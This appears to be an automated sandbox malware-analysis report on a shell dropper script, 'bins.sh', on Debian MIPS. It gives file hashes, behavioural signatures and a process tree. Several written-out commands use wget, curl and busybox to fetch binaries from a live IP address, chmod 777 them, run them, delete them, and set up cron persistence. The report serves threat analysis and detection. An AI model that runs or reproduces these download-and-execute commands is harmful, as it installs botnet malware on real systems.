Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 08:28

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ac492d233d3526f64c5fd40d078150d1

  • SHA1

    6bb76a3db6c7c0d1711831fd8cbfe340a2c264ac

  • SHA256

    ee0ec26cc22e6c1c1a4c831a96684803d3ca076d715b02a46538b09172d6434a

  • SHA512

    b880791ffb529ff5a462b895b1b64aa52560533290a324362c6ab83a2354fa3d3d667288de875ba988aaabbb5070c462a2926c72178116d943dd60d6c89d6c31

  • SSDEEP

    96:ufMqhpoH7+JbInctVkhpoH7Izj6JVUf39t0jsr5:ufMMJb0c3u1

Malware Config

Signatures

  • Contacts a large (1747) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:714
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:719
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Writes file to tmp directory
          PID:745
        • /bin/chmod
          chmod 777 JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          ./JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
          • Executes dropped EXE
          PID:747
        • /bin/rm
          rm JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt
          2⤵
            PID:749
          • /usr/bin/wget
            wget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Writes file to tmp directory
            PID:750
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Writes file to tmp directory
            PID:751
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            ./h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Writes file to tmp directory
              PID:758
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Writes file to tmp directory
              PID:760
            • /bin/chmod
              chmod 777 MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • File and Directory Permissions Modification
              PID:764
            • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              ./MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
              • Executes dropped EXE
              PID:765
            • /bin/rm
              rm MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF
              2⤵
                PID:769
              • /usr/bin/wget
                wget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Writes file to tmp directory
                PID:770
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Writes file to tmp directory
                PID:779
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Writes file to tmp directory
                PID:790
              • /bin/chmod
                chmod 777 mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • File and Directory Permissions Modification
                PID:795
              • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                ./mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                • Executes dropped EXE
                PID:796
              • /bin/rm
                rm mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW
                2⤵
                  PID:799
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • Writes file to tmp directory
                  PID:800
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:812
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • Writes file to tmp directory
                  PID:818
                • /bin/chmod
                  chmod 777 EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • File and Directory Permissions Modification
                  PID:819
                • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  ./EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:820
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:822
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:823
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:824
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:825
                      • /bin/rm
                        rm EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt
                        2⤵
                          PID:827
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/xxHkoumbNZr86eyZBulOzNytEQfYKLiAu6
                          2⤵
                            PID:833

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /var/spool/cron/crontabs/tmp.S5sYrh

                          Filesize

                          210B

                          MD5

                          d31fbac6d89006c85d03e98f5b0c5238

                          SHA1

                          5ec90bf9e297c9493ac62a9074499c4e321b4c01

                          SHA256

                          b3d44f46853030412a86848f98cf1a0125c437ba61d904a4dec398a022c0f0f3

                          SHA512

                          76177a4a7fd3d8457cf208d7841bea89ab96e1f900adc052e91bfa25858496937d250952fdb6218f20198dc1ccca31c3171bec8406b09024069e9bfb7e93450e